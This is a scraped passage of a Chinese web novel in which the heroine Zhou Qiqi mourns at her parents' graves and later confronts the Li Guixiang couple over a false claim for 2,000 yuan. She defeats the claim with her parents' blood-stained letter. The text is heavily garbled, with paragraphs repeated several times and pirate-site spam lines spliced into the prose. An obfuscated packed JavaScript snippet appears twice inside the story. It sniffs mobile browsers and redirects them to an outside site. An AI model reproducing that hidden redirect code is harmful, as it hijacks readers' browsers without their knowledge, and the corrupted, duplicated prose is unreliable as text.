“我起夜,发现你不在屋里。村长家前后院都找遍了也没见人。这大半夜的,你一个人跑出来,我能放心?” 他顿了顿,目光扫过不远处的三个小土包,叹了口气, “白天就看你往这边瞅了无数回,眼神都不对。想着你心里憋着事儿,多半是来这里了。” 周柒柒靠在他怀里,听着他沉稳的心跳,狂跳的心这才一点点落回实处,踏实了。 她定了定神,她顺着他目光 看向那三个小小的坟头,想起自己刚才在做什么,心里猛地“咯噔一下。 她刚才那些对着“原身柒柒说的话,那些关于“不是原来那个柒柒 她头皮有点发麻,眼神躲闪了一下,支支吾吾地解释: “我,我就是睡不着,心里乱糟糟的。想着过来跟爹娘说说话,也也跟过去的自己.告个别。 她越说声音越小,最后几个字几乎含在嘴里,咬着唇,不敢看沈淮川,怕他追问那个突兀的小土堆。 沈淮川的目光在她脸上停留片刻,又扫过那三处插着残香的土堆,月光下,他的眼神深邃难辨。 他只是抬手,用指腹轻轻蹭掉她额角刚才蹭上的一点灰土,柔声说道: “我刚到,啥也没瞅见,啥也没听着呢,正要走,就看见个黑影猫着腰摸过来,还抡棍子要打我,要不是我躲得快,这会儿估计得躺这儿了。 他嘴角勾起一丝无奈的笑。 周柒柒这才长长舒了口气,紧绷的肩膀彻底松懈下来。 还好,他没听见。 她有点不好意思地把脸往他怀里埋了埋,小声嘟囔:“谁让你跟个影子似的,吓人. 沈淮川拍了拍她的背,目光再次投向那三座安静的小坟包: “来都来了,我也给爹娘,还有过去的你,上柱香吧。该有的礼数,不能少。 “好。 周柒柒心里一暖,鼻子有点发酸,赶紧从布包里又拿出三支香递给他。 沈淮川接过,点燃三支,依次恭敬地插在三个坟前。 他站得笔直,对着月光下的土堆,声音沉稳有力: “爹,娘,我是沈淮川,柒柒的爱人。你们放心,我会照顾好她,让她平安喜乐,一生无忧。 他顿了顿,目光似乎在那最小的土堆上停留了一瞬,继续道,“你们安息吧。 没有过多的煽情,却字字千钧,如同承诺。 说完之后,他给每个人都深深鞠了一躬。 周柒柒站在他身后,看着他宽厚的背影,眼眶控制不住地发热。 祭拜完,周柒柒看着这承载了太多记忆的院子,轻声道: “淮川,反正你来也来了,不如我们把这里打扫一下 吧?明天.大家不是还要过来吗? 沈淮川环顾了一下这荒凉却透着昔日用心的院落,点点头:“好,都听你的。 两人没有再多话,默契地行动起来。 沈淮川力气大,负责清理院中的杂草,搬动那些散落的石块杂物。 周柒柒则拿着从扫帚,细细清扫堂屋和房间的浮尘蛛网。 月光如水,静静流淌在忙碌的两人身上。 他们仔细地打扫着,从堂屋到东西两间房,再到屋后的檐廊,连那棵老槐树下的石凳都擦拭干净。 自从周柒柒去了城里,这里有四个多月都没打扫过了,收拾起来还是有点费劲儿的。 两人一直收拾了两三个小时,小院和屋子终于显露出几分旧日的整洁模样。 收拾完,周柒柒累得够呛,路都有点走不动了,沈淮川倒跟没事儿人一样,还能背着她回去。 不过回去的路上,周柒柒就趴在他肩头睡着了。 第二天早上,金花婶子做好了早饭,许村长来喊两个人吃饭,看到他们还睡着,也没打扰,而是先送去了周淑华一家人住的那间屋子里去。 金花婶熬的小米粥稠糊糊的,烙的玉米饼子焦黄喷香,配上自家腌的咸菜疙瘩,简单却实在。 周淑华昨晚吃了药,又得了侄女确切的下落,心头那根绷了二十几年的弦松了大半,竟睡了个囫囵觉。 这会儿坐在炕桌边,脸色虽然还有点苍白,但精神头明显旺了,捧着个粗瓷碗,小口小口喝着粥,比昨天那水米不进的样子强了太多。 雷玉华给她娘夹了块咸菜,嘀咕道: “妈,你说奇不奇怪?淮川哥那是什么人?在部队里,号角一响,准保第一个爬起来的主儿!雷打不动的自律!今儿个咋也睡上懒觉了?这都日上三竿了。 她说着,自己先乐了,促狭地眨眨眼,“咱们军区活阎王,也被柒柒妹妹给‘传染’了! “瞎说什么呢! 周淑华眼睛一瞪,护犊子的劲儿“噌就上来了,手里的筷子“啪地轻轻敲了下碗沿, “我们柒柒还年轻,多睡会儿怎么了?睡饱了才能长身体!你以为都跟你似的,皮糙肉厚的? 雷玉华被噎得直翻白眼,心里头默默吐槽: 我的亲娘哎!柒柒妹妹都嫁人了还“长身体”呢?您这心偏得都没边儿了! 可她瞅着亲妈那副“谁敢说我侄女不好我就跟谁急”的架势识相地把话咽了回去只偷偷朝她爹做了个鬼脸。 雷政委闷头喝粥假装没看见闺女的小动作。 周淑华放下碗拿手巾擦了擦嘴眼神沉静了不少: “让她们睡吧昨晚肯定累着了。柒柒说得对事儿还多着呢一件件来。眼下最要紧的” 她目光投向窗外越过低矮的土墙仿佛能看见山根底下那几间青砖房 “是去给建邦还有我那苦命的弟妹好好上柱香昨晚听许村长说她们的坟就在屋后头当年草草埋了连块像样的碑都没有。” 她顿了顿又道: “我想好了就在这儿给她们重新起个坟立块好碑!要气派点!让村里人都瞧瞧周水生两口子是有根有苗的!不是孤魂野鬼!” 她眼神坚定仿佛要将这二十多年的亏欠一股脑儿补上: “不过这只是个衣冠冢是个暂时的安顿。等柒柒这边的事情都落定了咱们得把建邦还有我那弟妹齐琳都迁回老家去!和爹娘安葬在一起!让建邦落叶归根也让他去父母坟前亲口把这个天大的好消息告诉他们让爹娘泉下安息知道他们的儿子没死在洪水里而是结婚生女了!老周家的血脉总算没端在我手里!” 雷政委把筷子搁下眉头微蹙 “淑华这事儿呢急不得别这么快做决定重新起坟可以是该立块碑告慰亡灵但是迁回老家还有这衣冠冢的安排你得先问问柒柒的意思。” 周淑华眉头一下子就蹙起来了满眼的不赞成雷政委知道妻子的脾气赶紧温声解释道: “建邦是你亲弟弟不假可在这许家村他是周水生是齐琳的男人是柒柒的亲爹!这坟迁不迁往哪儿迁说到底得看柒柒这当闺女的是怎么想的她愿不愿意让她爹妈挪这个窝?愿不愿意.跟着咱们回那‘老家’去认祖归宗?这都得商量不是你一个人就能做主的。” 周淑华眼神黯了黯丈夫的话像一盆冷水浇熄了她一部分急切但也让她冷静了些。 她半晌才低低“嗯”了一声带着点不甘心却也明白事理: “你说的是是得让柒柒做主不过起坟立碑这事儿不能再拖了!哪怕只是衣冠冢也得让建邦和弟妹在村里堂堂正正的!咱们待会儿吃完饭就去安排!” 堂屋里一时安静下来只有碗筷轻微的碰撞声。 就在这时—— “周淑华!你给我出来!” 一声尖利刺耳、带着破锣嗓子的嚎叫像颗炸雷猛地劈开了这短暂的宁静! 这泼妇一样的喊声正是李桂香! 你的朋友正在书荒,快去帮帮他吧 我的亲娘哎!柒柒妹妹都嫁人了还“长身体”呢?您这心偏得都没边儿了! 可她瞅着亲妈那副“谁敢说我侄女不好我就跟谁急”的架势识相地把话咽了回去只偷偷朝她爹做了个鬼脸。 雷政委闷头喝粥假装没看见闺女的小动作。 周淑华放下碗拿手巾擦了擦嘴眼神沉静了不少: “让她们睡吧昨晚肯定累着了。柒柒说得对事儿还多着呢一件件来。眼下最要紧的” 她目光投向窗外越过低矮的土墙仿佛能看见山根底下那几间青砖房 “是去给建邦还有我那苦命的弟妹好好上柱香昨晚听许村长说她们的坟就在屋后头当年草草埋了连块像样的碑都没有。” 她顿了顿又道: “我想好了就在这儿给她们重新起个坟立块好碑!要气派点!让村里人都瞧瞧周水生两口子是有根有苗的!不是孤魂野鬼!” 她眼神坚定仿佛要将这二十多年的亏欠一股脑儿补上: “不过这只是个衣冠冢是个暂时的安顿。等柒柒这边的事情都落定了咱们得把建邦还有我那弟妹齐琳 雷政委把筷子搁下眉头微蹙沉声道: “淑华这事儿呢急不得别这么快做决定重新起坟可以是该立块碑告慰亡灵但是迁回老家还有这衣冠冢的安排你得先问问柒柒的意思。” 周淑华眉头一下子就蹙起来了满眼的不赞成雷政委知道妻子的脾气赶紧温声解释道: “建邦是你亲弟弟不假可在这许家村他是周水生是齐琳的男人是柒柒的亲爹!这坟迁不迁往哪儿迁说到底得看柒柒这当闺女的是怎么想的她愿不愿意让她爹妈挪这个窝?愿不愿意.跟着咱们回那‘老家’去认祖归宗?这都得商量不是你一个人就能做主的。” 周淑华眼神黯了黯丈夫的话像一盆冷水浇熄了她一部分急切但也让她冷静了些。 她半晌才低低“嗯”了一声带着点不甘心却也明白事理: “你说的是是得让柒柒做主不过起坟立碑这事儿不能再拖了!哪怕只是衣冠冢也得让建邦和弟妹在村里堂堂正正的!咱们待会儿吃完饭就去安排!” 堂屋里一时安静下来只有碗筷轻微的碰撞声。 就在这时—— “周淑华!你给我出来!” 一声尖利刺耳、带着破锣嗓子的嚎叫像颗炸雷猛地劈开了这短暂的宁静! 这泼妇一样的喊声正是李桂香! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我的亲娘哎!柒柒妹妹都嫁人了,还“长身体呢?您这心偏得都没边儿了! 可她瞅着亲妈那副“谁敢说我侄女不好我就跟谁急的架势,识相地把话咽了回去,只偷偷朝她爹做了个鬼脸。 雷政委闷头喝粥,假装没看见闺女的小动作。 周淑华放下碗,拿手巾擦了擦嘴,眼神沉静了不少: “让她们睡吧,昨晚肯定累着了。柒柒说得对,事儿还多着呢,一件件来。眼下最要紧的, 她目光投向窗外,越过低矮的土墙,仿佛能看见山根底下那几间青砖房, “是去给建邦,还有我那苦命的弟妹,好好上柱香,昨晚听许村长说,她们的坟就在屋后头,当年草草埋了,连块像样的碑都没有。 她顿了顿,又道: “我想好了,就在这儿,给她们重新起个坟,立块好碑!要气派点!让村里人都瞧瞧,周水生两口子,是有根有苗的!不是孤魂野鬼! 她眼神坚定,仿佛要将这二十多年的亏欠一股脑儿补上: “不过,这只是个衣冠冢,是个暂时的安顿。等柒柒这边的事情都落定了,咱们得把建邦,还有我那弟妹齐琳,都迁回老家去!和爹娘安葬在一起!让建邦落叶归根,也让他去父母坟前,亲口把这个天大的好消息告诉他们,让爹娘泉下安息,知道他们的儿子没死在洪水里,而是结婚生女了!老周家的血脉,总算没端在我手里! 雷政委把筷子搁下,眉头微蹙,沉声道: “淑华,这事儿呢,急不得,别这么快做决定,重新起坟可以,是该立块碑,告慰亡灵,但是迁回老家还有这衣冠冢的安排,你得先问问柒柒的意思。 周淑华眉头一下子就蹙起来了,满眼的不赞成,雷政委知道妻子的脾气,赶紧温声解释道: “建邦是你亲弟弟不假,可在这许家村,他是周水生,是齐琳的男人,是柒柒的亲爹!这坟迁不迁,往哪儿迁,说到底,得看柒柒这当闺女的是怎么想的,她愿不愿意让她爹妈挪这个窝?愿不愿意.跟着咱们回那‘老家’去认祖归宗?这都得商量,不是你一个人就能做主的。 周淑华眼神黯了黯,丈夫的话像一盆冷水,浇熄了她一部分急切,但也让她冷静了些。 她半晌才低低“嗯了一声,带着点不甘心,却也明白事理: “你说的是,是得让柒柒做主,不过起坟立碑这事儿,不能再拖了!哪怕只是衣冠冢,也得让建邦和弟妹在村里堂堂正正的!咱们待会儿吃完饭就去安排! 堂屋里一时安静下来,只有碗筷轻微的碰撞声。 就在这时—— “周淑华!你给我出来! 一声尖利刺耳、带着破锣嗓子的嚎叫,像颗炸雷,猛地劈开了这短暂的宁静! 这泼妇一样的喊声,正是李桂香! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 我的亲娘哎!柒柒妹妹都嫁人了还“长身体”呢?您这心偏得都没边儿了! 可她瞅着亲妈那副“谁敢说我侄女不好我就跟谁急”的架势识相地把话咽了回去只偷偷朝她爹做了个鬼脸。 雷政委闷头喝粥假装没看见闺女的小动作。 周淑华放下碗拿手巾擦了擦嘴眼神沉静了不少: “让她们睡吧昨晚肯定累着了。柒柒说得对事儿还多着呢一件件来。眼下最要紧的” 她目光投向窗外越过低矮的土墙仿佛能看见山根底下那几间青砖房 “是去给建邦还有我那苦命的弟妹好好上柱香 她顿了顿又道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这泼妇一样的喊声正是李桂香! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 我的亲娘哎!柒柒妹妹都嫁人了,还“长身体”呢?您这心偏得都没边儿了! 可她瞅着亲妈那副“谁敢说我侄女不好我就跟谁急”的架势,识相地把话咽了回去,只偷偷朝她爹做了个鬼脸。 雷政委闷头喝粥,假装没看见闺女的小动作。 周淑华放下碗,拿手巾擦了擦嘴,眼神沉静了不少: “让她们睡吧,昨晚肯定累着了。柒柒说得对,事儿还多着呢,一件件来。眼下最要紧的,” 她目光投向窗外,越过低矮的土墙,仿佛能看见山根底下那几间青砖房, “是去给建邦,还有我那苦命的弟妹,好好上柱香,昨晚听许村长说,她们的坟就在屋后头,当年草草埋了,连块像样的碑都没有。” 她顿了顿,又道: “我想好了,就在这儿,给她们重新起个坟,立块好碑!要气派点!让村里人都瞧瞧,周水生两口子,是有根有苗的!不是孤魂野鬼!” 她眼神坚定,仿佛要将这二十多年的亏欠一股脑儿补上: “不过,这只是个衣冠冢,是个暂时的安顿。等柒柒这边的事情都落定了,咱们得把建邦,还有我那弟妹齐琳,都迁回老家去!和爹娘安葬在一起!让建邦落叶归根,也让他去父母坟前,亲口把这个天大的好消息告诉他们,让爹娘泉下安息,知道他们的儿子没死在洪水里,而是结婚生女了!老周家的血脉,总算没端在我手里!” 雷政委把筷子搁下,眉头微蹙,沉声道: “淑华,这事儿呢,急不得,别这么快做决定,重新起坟可以,是该立块碑,告慰亡灵,但是迁回老家还有这衣冠冢的安排,你得先问问柒柒的意思。” 周淑华眉头一下子就蹙起来了,满眼的不赞成,雷政委知道妻子的脾气,赶紧温声解释道: “建邦是你亲弟弟不假,可在这许家村,他是周水生,是齐琳的男人,是柒柒的亲爹!这坟迁不迁,往哪儿迁,说到底,得看柒柒这当闺女的是怎么想的,她愿不愿意让她爹妈挪这个窝?愿不愿意.跟着咱们回那‘老家’去认祖归宗?这都得商量,不是你一个人就能做主的。” 周淑华眼神黯了黯,丈夫的话像一盆冷水,浇熄了她一部分急切,但也让她冷静了些。 她半晌才低低“嗯”了一声,带着点不甘心,却也明白事理: “你说的是,是得让柒柒做主,不过起坟立碑这事儿,不能再拖了!哪怕只是衣冠冢,也得让建邦和弟妹在村里堂堂正正的!咱们待会儿吃完饭就去安排!” 堂屋里一时安静下来,只有碗筷轻微的碰撞声。 就在这时—— “周淑华!你给我出来!” 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“周淑华!你给我出来!” 一声尖利刺耳、带着破锣嗓子的嚎叫,像颗炸雷,猛地劈开了这短暂的宁静! 这泼妇一样的喊声,正是李桂香! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第251章 讨债 清晨的宁静被李桂香那破锣嗓子硬生生撕开。 “周淑华!你给我出来!” 屋里正喝粥的几个人动作都是一顿。 雷玉华把筷子往碗沿上一磕,脸上浮起冷笑: “呵,这老虔婆,我们还没腾出手收拾她,她倒先找上门来了?我去瞧瞧,看她葫芦里卖的什么耗子药!” 话音没落,人已经像阵风似的卷出了堂屋门。 院子里,李桂香和许老蔫两口子戳在那儿,跟昨天那副丧家犬的蔫巴样判若两人。 李桂香穿了件半新不旧的蓝布褂子,许老蔫也套了件洗得发白的卡其布外套,虽然料子普通,但明显是压箱底的好衣裳,硬是撑出了几分人模狗样。 两人腰杆挺得溜直,脸上那股子虚张声势的劲儿,隔着老远都能闻见。 雷玉华抱着胳膊往门槛上一靠,斜睨着他们,嘴角挂着一丝嘲讽: “哟,李桂香,大清早的嚎丧呢?怎么,昨儿晚上回去琢磨了一宿,良心发现,跑来磕头认错了?” “认错?放**狗臭屁!” 李桂香三角眼一吊,唾沫星子差点喷到雷玉华脸上,声音又尖又利, “老娘是来讨债的!” “讨债?” 雷玉华是真愣住了,以为自己听岔了, “你找我们讨债?” 她手指头差点戳到自己鼻尖,一脸荒谬。 “没错!就是讨债!” 李桂香脖子一梗,底气十足,仿佛占了天大的理, “周水生,哦不,周建邦,是周淑华亲弟弟!周柒柒是她亲侄女!对吧?这账,今儿个就得算清楚!” 昨天上午,周淑华晕倒之后,众人忙活着忙活那的,她和许老蔫趁着乱溜回家了。 但下午,村长把那么多村民叫去村委会,不少村民都在外面凑热闹,李桂香也换了个衣裳,戴了个帽子在人群外面偷听。 从村民们你一言我一语的话语中,她也大概拼凑出了真相。 原来,这一行人不是来替周柒柒打抱不平,而是来替周淑华寻亲的! 周柒柒的爹,周水生,大有来头! 他不是什么孤儿,而是周淑华的亲弟弟,周柒柒更是周淑华的亲侄女! 知道这些之后他在想了一个晚上越想越觉得亏。 她们老许家之所以把周柒柒养那么大那是把她周柒柒当成儿媳妇了。 结果现在儿子许树没娶周柒柒周柒柒嫁了个军官。 而且昨天听村里那几个女娃娃说周柒柒现在还在做干啥服装设计听说可挣钱了? 可这钱硬是没分给她们一分一毫! 那她们老许家不是白养她这么大了吗? 啥好处没捞着还把儿子给搭出去了! 这绝对不行!她们必须把这笔债讨回来! 这时周淑华也沉着脸出来了。 她脸色还有些苍白但眼睛里烧着两簇火死死盯着李桂香: “好哇!我们还没找你算清我侄女这十几年的血泪账你倒有脸先上门来讨债了?李桂香你这脸皮是拿城墙砖砌的吧?” 李桂香被她看得有点发毛但想到昨晚算好的钱胆子又壮了叉着腰往前顶了一步: “我怎么没脸?周淑华你给我听好了!周柒柒那丫头片子七岁上就进了我许家门!我们一把屎一把尿拉扯到二十岁整整十三年!十三年呐!吃我们的喝我们的穿我们的!我们老许家是活菩萨转世?白白养活她这么大?” 她越说越来劲唾沫横飞: “以前以为她是个没爹没娘的野草我们心善 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)就当积德了!可谁知道啊她命里还藏着**呢?有你这么个当大官的亲姑姑!现在好了她认祖归宗了攀上高枝儿了听说还在外头当什么设计师风光的很!给村里娃子撒的糖都是稀罕货!怎么着?我们老许家十几年的米面粮油就喂了狗了?这养育之恩她周柒柒不报你这当姑姑的就得替她报!” 她伸出粗糙的手指头比划着: “我们也不多要!十三年一年算一百块一千三百块!一分都不能少!这钱天经地义!” 雷玉华还从来没见过这么不要脸的人气得胸口起伏刚想叉腰开骂李桂香那尖利的声音又压了过来手指头差点戳到雷玉华脸上: “你个小丫头片子边儿去!这儿没你插嘴的份儿!老娘话还没说完呢!” 她喘了口气眼神贪婪地扫过周淑华和屋里仿佛那钱已经堆在眼前: “ 还有!周柒柒那丫头,打小就是给我们家树儿预备的媳妇儿!童养媳!全村都知道!结果呢?她倒好,没人说媒,没三书六礼,自己个儿就跟野.就跟沈淮川跑了!这算怎么回事?当我们老许家是死的?” 李桂香腰板挺得更直了,仿佛自己就是那苦主: “沈淮川娶了我们家定下的媳妇儿,这彩礼钱,必须得补上!城里头讲究‘三转一响’,我们乡下人实在,也不挑那些虚的!缝纫机、自行车、手表、收音机,统统折成现钱!算你七百块!总共两千块!少一个子儿都不行!” 说到两千块,她眼睛都在放光。 许老蔫缩在婆娘身后,耷拉着脑袋,浑浊的眼珠子,也跟着那“两千块”的数字,骨碌碌转了一下,点头道。 “没错!两千块钱!一分钱都不能少!” 周淑华气得浑身发抖,指着李桂香,嘴唇哆嗦着,半天才从牙缝里挤出几个字,声音嘶哑得变了调: “你你.好!好得很!李桂香!许老蔫!你们.你们” 李桂香那副“有理走遍天下”的无赖相,彻底把周淑华给噎住了。 她这辈子受过的教育、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144510|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养成的修养,让她肚子里翻江倒海的怒火愣是找不到一句合适又解恨的词儿喷出来。 昨天那两句“放屁”已经是她几十年人生里的极限脏话了。 她手指哆嗦着,直直指着李桂香那张刻薄的脸,指尖都在发颤: “我我不跟你这种泼妇歪缠!我这就去镇上!去**局!告你们!告你们**儿童!全村老少爷们儿都是证人!到时候,是你们赔钱给我侄女!是你们该蹲大狱!” 周淑华胸膛剧烈起伏,脸色煞白,仿佛下一秒就要厥过去。 “告?去啊!谁怕谁!” 李桂香非但没被吓住,反而把腰叉得更紧了,下巴抬得老高,唾沫星子几乎喷到周淑华脸上, “我李桂香行得正坐得端!实打实养了周柒柒十几年!她吃的是我许家的粮,穿的是我许家的衣!她就是我们许家的人!打她?骂她?那是管教!棍棒底下出孝子,严师出高徒!要不是我老许家这么‘用心良苦’地管教,她能长成现在这副水灵灵有出息的模样?做梦去吧!她能认识你这当大官的亲姑姑?早不知道烂在哪个山沟沟里了!” 她越说越觉得自己占理,三角眼斜睨着周淑华,满脸的“死猪不怕开水烫”: “你告破天去!当初是水生两口子,亲口把这丫头片子塞给我们的!白纸黑字红手印!他们只说了‘托付’,可没说我们老许家该怎么‘养’!我们老许家祖祖辈辈就是这么养孩子的!粗粮糊口,棍棒教人!天经地义!轮得到你这八竿子才打着的姑姑来指手画脚?你管得着吗你!” 这一套歪理邪说,堵得周淑华心口像压了块千斤巨石,眼前阵阵发黑,嘴唇哆嗦着,愣是一个字也反驳不出来。 她只觉得一股腥甜直冲喉咙,整个人晃了晃,全靠身后雷政委一把扶住才没栽倒。 她死死攥着丈夫的胳膊,指甲都掐进了他结实的皮肉里,眼泪在眼眶里疯狂打转,却倔强地不肯掉下来。 她猛地扭过头,把脸埋在雷政委的肩膀上,肩膀一耸一耸地剧烈抽动,心痛得不得了: “老雷。你听听,你听听啊!建邦我那苦命的弟弟,他这是倒了八辈子的血霉啊!临了临了,怎么就.怎么就瞎了眼,把柒柒托付给这么一对豺狼心肠、没脸没皮的东西!造孽真是天大的造孽啊!” 雷政委脸色铁青,紧紧揽住妻子颤抖的身体,锐利的目光冷冷扫过院门口那两张令人作呕的嘴脸,里面翻涌着压抑的怒火。 但他一向不爱与人争辩,竟然一时也不能拿这两个人怎么办。 不得不说,她们说的在一定程度上也是实话。 毕竟是水生两口子亲手把柒柒交到她们手上的,要怎么教育,就是人家的家事了。 亲生娃娃还有养死的呢,养女就更不在话下了。 院子里一时只剩下周淑华压抑的抽泣声和李桂香粗重的、带着点得意洋洋的喘息。 就在这时—— 第252章 所谓的铁证如山 “真是人不要脸天下无敌啊!” 一声清脆得如同山涧百灵鸟的嗓音,骤然划破了院子里令人窒息的压抑。 这声音带着点凉丝丝的嘲讽,却像一阵清冽的风,瞬间让浑浊的空气都透亮了几分。 众人齐刷刷循声望去。 只见周柒柒不知何时已站在了堂屋门口,沈淮川高大的身影如同守护神般立在她身后半步。 她脸上没什么怒容,嘴角甚至还噙着一丝淡淡的笑意,但她的眼神,却清亮得慑人。 她步履从容地走过去,无声地站在李桂香对面,也是气得浑身发抖的周淑华身前。 不知是有意还是无意,总归是将周淑华挡在了自己身后,彻底隔开了李桂香那张唾沫横飞的刻薄脸。 然后,她双手松松地环抱在胸前,好整以暇地看向院门口那对夫妻,目光精准地锁住李桂香。 “你说,” 周柒柒那如同百灵鸟一样的声音清晰地钻进每个人耳朵里, “当初,是我父母亲手把我交到你们手里的,是吗?” 李桂香被她看得心里莫名一突,但仗着手里那张“王牌”,立刻挺直腰板,嗓门拔得更高: “废话!当然是!全村谁不知道?不然你这赔钱货能活到今天?” “哦,原来是这样,那” 周柒柒轻轻点了点头,脸上那点笑意更深了些,却没什么温度: “证据呢?空口白牙,红口白牙的,总得有个凭证吧?” “凭证?呵呵!” 李桂香像是早等着这句,三角眼里闪过一丝得意,立刻伸手往怀里一掏,摸出一张叠得皱巴巴、颜色发黄发暗的破纸来。 她“唰”地一下抖开,把那纸举得老高,几乎要怼到周柒柒眼前,唾沫星子喷在纸上, “睁大你的眼好好瞧瞧!这就是铁证!你爹妈咽气前,亲手按下的血手印!白纸黑字.呃,红手印!这就代表着把你托付给我们老许家!这还能有假?” 那纸上果然印着两个暗红发褐、边缘模糊的手印,看着有些年头了,透着一股说不出的凄惨和诡异。 周柒柒的目光在那张纸上停留了两秒,脸上表情纹丝未动。 她微微歪了歪头,继续问道: “就凭 这个?就凭你们俩口说无凭加上这两个手印?当时还有别的人在场吗?有谁亲眼看见我父母按手印亲口说把我托付给你们了?” 李桂香得意洋洋的表情僵了一下但很快就恢复了镇静随即梗着脖子嚷道: “没有!当时那俩得的是要命的霍乱!附近几个村镇**多少人?躲都躲不及谁敢往前凑?除了镇上卫生所派下来送药、穿着厚衣裳捂得严严实实的大夫进去瞧过两眼连个鬼影子都没有!就我们两口子心善不怕死才敢去照应!” “哦。” 周柒柒拖长了调子了然地轻轻一点头眼神里的嘲讽几乎要溢出来 “那就是说没有其他人证了?除了这张纸没有任何旁证能证明我父母临终前说过什么、做过什么?有没有书信?” 李桂香被她问得有点卡壳三角眼飞快地乱转想反驳又找不到词儿只能硬着头皮嚷嚷: “没没有又咋地?当时那情况火烧眉毛了!人都快咽气了哪还顾得上写啥劳什子书信?能有口力气按个手印想着把你托付出去已经是天大的恩情了!你还想咋样?” “是吗?” 周柒柒唇边那抹淡淡的笑意终于凝实了变成一种冰冷又带着强烈讽刺的弧度她那双清亮的眸子直直盯着李桂香一字一句清晰地说道 “那也就是说你所谓的铁证如山仅仅就是这两个来历不明、不知何时何地由何人按下的血手印?没有当事人的亲笔文书没有其他任何有效的佐证。甚至.” 她故意停顿了一下看着李桂香脸上那强装的镇定开始碎裂才慢悠悠地接下去: “甚至这两个血手印是不是我父母活着的时候按下的都只有你们俩自己知道咯?” “放屁!” 李桂香被她这轻飘飘的质疑彻底激怒了也慌了破口大骂 “不是他们按的还能是谁按的?你个小贱蹄子想赖账是不是?当时人都快**自己的命都顾不上了谁还有闲心管你这个赔钱货?能想到把你托付给我们老许家 她尖利的叫骂声戛然而止。 “是吗?” 因为周柒柒说完这 两个字后,终于有所动作了。 在所有人惊愕、疑惑、探寻的目光注视下,她神情平静地从自己随身背着的那个挎包里,小心翼翼地取出一个用厚实油纸仔细包裹着的东西。 她纤细的手指灵巧地解开外面缠着的细麻绳,一层层揭开那防水防潮的油纸。 最后,露出了里面一封同样泛黄,但却保存地十分完好的信封。 更让所有人呼吸一窒的是——那信封上,赫然沾染着几大片早已干涸发黑、触目惊心的血迹! 周柒柒用指尖,极其珍重地,从信封里抽出了一张同样染着点点暗褐色血迹的信纸。 她将信纸展开,目光扫过上面熟悉的、带着最后一丝力道的字迹,然后,缓缓抬起眼,看向脸色瞬间煞白如纸、眼珠子瞪得快要掉出来的李桂香轻声问道: “那这封信,又是什么? 她地声音不大,却像惊雷一样炸响在寂静的院子里。 “这这是啥玩意儿? 李桂香被那染血的旧信封惊得心头猛跳,尖着嗓子质问,声音里却透出掩饰不住的心虚。 周柒柒唇角那抹嘲讽的笑意更深了。 “如你所见,这是我爹娘当时写给我的信。 她没理会李桂香,目光扫过那泛黄信纸上熟悉的字迹,清亮的声音在寂静的院子里清晰地响起: “柒柒,爹娘快不行了,对不起,不能陪着你长大了 只念了个开头,周淑华就像被雷劈中,猛地往前踉跄一步,死死盯住周柒柒手中的信纸! 她的呼吸骤然急促,眼睛瞪得老大,泪水瞬间模糊了视线,却死死咬着嘴唇不敢出声,生怕错过一个字。 “.今后,就让村长和大队来抚养你。家里的东西,爹娘都收拾好了,全都交给村长家保管。东西不多,是爹娘这些年攒下的,省着点用,应该够你平平安安长大。另外,灶台底下,爹娘给你留了点念想,挖开就能看见。下面是东西的清单. 周柒柒的声音平静无波,却字字如锤,敲在每个人心上。 周淑华再也忍不住,几步冲到周柒柒身边,颤抖着手想去触碰那信纸,却又不敢,只是死死盯着上面的字,喉咙里发出压抑的呜咽: “建邦.是建邦的字!是他!就是他写的! 她的眼泪大颗大颗滚落,语气却异常地笃定, “你看这撇捺,像刀锋一样!还有这竖勾,末尾那一点点回锋的劲儿.是他!他小时候练字,先生就说他这笔锋太硬太冲,像要戳破纸!错不了!是他!就是他!” 这时,院门口已经围了不少被刚才吵闹声引来的村民,许村长一家子也挤在前头。 许村长伸着脖子,眯着眼仔细辨认那信纸上的字,浑浊的老眼也一下子红了,激动地拍着大腿: “对!对!是水生!是水生的字!苍劲得很,跟他人一样!当年他还手把手教过俺写自己的名字呢!这清单上,这几行娟秀工整的小字,是琳妹子的!琳妹子在镇上教书,那字写得,跟印出来似的!村里再找不出第二份这么好看的字了!” 他指着信纸上两处不同的字迹,声音发颤地向周围的村民解释。 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节) “真是水生和琳妹子的亲笔信啊!” “老天爷,原来是这样!” “我就说嘛!水生两口子多明白的人,跟村长家处得跟一家人似的,柒柒丫头也常在村长家玩,咋会托付给李桂香那泼妇?” “对啊!当初两口子生病的时候,本来就是让村长家暂时帮着带柒柒的!后来才被李桂香这黑心肝的硬抢了去!” “要是按信上说的,交给大队,交给村长家,柒柒丫头哪会遭后面那些罪啊!造孽啊!” 村民们七嘴八舌地议论开了,看向李桂香和许老蔫的眼神充满了鄙夷和愤怒。 许村长听着大家的话,再看着那封信,心里又痛又悔,重重叹了口气: “唉!水生信里说得清清楚楚,是把柒柒托付给大队,托付给我家照看!家里的东西也由大队保管!这才是正理儿啊!当初当初咋就让这俩.” 他气得手指着李桂香,后面的话都说不出来了。 周淑华听着村长和村民的话,再看着信上弟弟那熟悉的、力透纸背的字迹,一股滔天的怒火直冲天灵盖! 她猛地扭过头,赤红的双眼像要**一样瞪着已经面无人色的李桂香,声音因为极致的愤怒而尖锐颤抖: 